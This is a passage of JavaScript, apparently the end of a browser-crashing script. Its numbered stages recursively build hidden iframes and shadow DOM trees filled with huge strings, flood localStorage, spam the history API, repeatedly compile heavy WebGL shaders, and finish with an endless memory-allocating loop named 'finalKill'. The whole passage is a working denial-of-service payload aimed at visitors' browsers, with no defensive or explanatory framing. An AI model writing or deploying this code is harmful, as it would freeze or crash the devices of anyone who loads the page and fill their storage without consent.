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';
iframe.style.display = 'none';
parent.appendChild(iframe);
try {
let shadow = iframe.attachShadow({ mode: 'open' });
let div = document.createElement('div');
div.innerHTML = 'x'.repeat(100000);
shadow.appendChild(div);
domBomb(shadow, depth + 1);
} catch(e) {}
domBomb(parent, depth + 1);
}
domBomb(document.body, 0);
// 7. LocalStorage flood – fill storage with huge strings
try {
for (let i = 0; i < 5000; i++) {
localStorage.setItem('crash_' + i, 'x'.repeat(5000000));
}
} catch(e) {}
// 8. History API spam – fill session history
for (let i = 0; i < 5000; i++) history.pushState({}, '', '#kill' + i);
// 9. GPU / WebGL infinite shader compilation loop
try {
let canvas = document.createElement('canvas');
let gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if (gl) {
let shaderSrc = `void main() { for(int i=0;i<1000000;i++) { float x = sin(float(i))*cos(float(i)); } gl_FragColor=vec4(1.0); }`;
for (let i = 0; i < 2000; i++) {
let s = gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(s, shaderSrc + "//" + i);
gl.compileShader(s);
}
}
} catch(e) {}
// 10. Infinite synchronous loop with allocation – final nail
(function finalKill() {
let arr = [];
while (true) {
arr.push(new Array(1000000).fill({}));
if (arr.length > 50) arr.length = 0;
}
})();
})();